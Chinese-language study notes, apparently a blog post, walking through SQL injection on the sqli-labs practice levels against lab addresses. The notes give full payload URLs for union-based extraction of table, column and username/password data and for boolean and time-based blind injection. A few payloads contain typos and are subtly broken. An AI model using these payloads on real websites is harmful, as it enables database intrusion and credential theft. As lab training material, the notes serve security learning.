Sql注入基础

sql注入前置理解

bash 复制代码
在这里插入代码片select * from users where id = $id ---- 数字型注入----select * from users where id = 1 or 1=1---搞定

select * from users where id = 'id' ---- 字符型注入----select * from users where id = '1 or 1=1'---可以,一个整体都是id的值,有warning是它的容错,所以需要闭合标点符号 

mysql的注释是--空格或者#号

get传参存在url编码,防止空格被编码,+会被注释为空格,所以--+

闭合符有(),',",(())等

Less-1:

1.sql注入类型。先当作数字型处理,出不来数据,and起作用了。如果能出来数据,闭合符里面为---1 and 1=2---,说明是字符型

复制代码
MariaDB [security]> select * from security.users where id =1 and 1=2 --+;
http://172.25.254.184/sqli/Less-1/?id=1 and 1=2 --+

2.判断闭合符。用and的逻辑判断闭合符,所以闭合符为'

复制代码
MariaDB [security]> select * from security.users where id ='1' and 1=2 --+';
http://172.25.254.184/sqli/Less-1/?id=1' and 1=2 --+

3.查询查询的列数(order by | group by),用union实现联合注入。判断是3列

复制代码
http://172.25.254.184/sqli/Less-1/?id=1' order by 4 --+

4.判断回显的位置。在2和3的位置,再这里写sql语句

复制代码
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,2,3 --+

5.获取表名

复制代码
MariaDB [information_schema]> select group_concat(table_name) from information_schema.tables where table_schema='security';
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),group_concat(table_name) from information_schema.tables where table_schema='security' --+

6.获取列名---列出所有用group_concat或者limit

复制代码
MariaDB [security]> select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'; --+

7.查数据

复制代码
MariaDB [security]> select group_concat(username,'~',password) from security.users;
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),group_concat(username,'~',password) from security.users --+

8.截取

复制代码
MariaDB [security]> select substr(group_concat(username,'~',password),1,32) from security.users;
http://172.25.254.184/sqli/Less-1/?id=-1' union select 1,(select database()),substr(group_concat(username,'~',password),1,32) from security.users --+

Less-2

第一步:判断--是数字型

复制代码
http://172.25.254.1/sqli/Less-2/?id=1 and 1=2 --+

第二步:判断--列数---3列数据

复制代码
http://172.25.254.1/sqli/Less-2/?id=1 order by 4 --+

第三步:判断回显位置---在2,3的位置

复制代码
http://172.25.254.1/sqli/Less-2/?id=-1 union select 1,2,3 --+

Less-3

第一步:判断--是字符型

复制代码
http://172.25.254.1/sqli/Less-3/?id=1 and 1=2 --+

第二步:判断闭合符---')

复制代码
http://172.25.254.1/sqli/Less-3/?id=1') and 1=2 --+

第三步:判断列数--四列

复制代码
http://172.25.254.184/sqli/Less-3/?id=1') order by 4 --+

第四步:判断回显位置

复制代码
http://172.25.254.184/sqli/Less-3/?id=-1') union select 1,2,3 --+

Less-4--")

第一步:判断--是字符型

复制代码
http://172.25.254.1/sqli/Less-4/?id=1 and 1=2 --+

第二步:判断闭合符---")

复制代码
http://172.25.254.184/sqli/Less-4/?id=1") and 1=2 --+

第三步:判断列数--四列

复制代码
http://172.25.254.184/sqli/Less-4/?id=1") order by 4 --+

第四步:判断回显位置

复制代码
http://172.25.254.184/sqli/Less-4/?id=-1") union select 1,2,3 --+

Less-5--布尔盲注--只有true和false

复制代码
http://172.25.254.1/sqli/Less-5/?id=1 and length(database())=8 --+

ascii加二分定位每一个字符

复制代码
http://172.25.254.1/sqli/Less-5/?id=1 and ascii(aubstr(database(),1,1)<125 --+

Less-9---时间盲注

IF(条件,成功返回,失败返回)--字符型

复制代码
http://172.25.254.1/sqli/Less-9/?id=1' sleep(3) --+

http://172.25.254.1/sqli/Less-9/?id=1' and (length(database())>3,sleep(3),0) --+

http://172.25.254.1/sqli/Less-9/?id=1' and (substr(database(),1,1)="s",sleep(3),0) --+
相关推荐
这个DBA有点耶3 小时前
从症状到根因:数据库监控指标的分层方法与静态/动态阈值策略
数据库·mysql·代码规范
SelectDB4 小时前
时间旅行与快照能力速查:Doris 侧三条落地路径
大数据·数据库·数据分析
SelectDB4 小时前
云数仓成本结构拆解速查:五层计费 vs Doris / 托管形态
大数据·数据库·数据分析
SelectDB4 小时前
什么场景能承接与建议保留:Doris vs Snowflake 边界速查
大数据·数据库·数据分析
这个DBA有点耶6 小时前
DELETE没删多少数据,表却越来越大——InnoDB删除空洞与页合并失效的根因
数据库·mysql·代码规范
ly76899 小时前
PostgreSQL 备份恢复策略:pg_basebackup、WAL 归档与 PITR 在企业 Java 系统中的落地
java·数据库·postgresql·pitr·pg_basebackup·wal 归档
sbjdhjd9 小时前
从签名重放到 Agent Harness:一堂安全课程如何把前端逆向、MCP 与工程约束串起来
网络安全·ai·github·agent·webshell·mcp·harness
小羊没烦恼!10 小时前
Ajax与JSON的一些总结
android·java·前端·数据库·mysql·算法·okhttp
注塑机数据采集联网10 小时前
如何解决注塑机数据采集联网对接MES系统数据WiFi传输数据不稳问题
大数据·数据库·物联网·数据挖掘·数据分析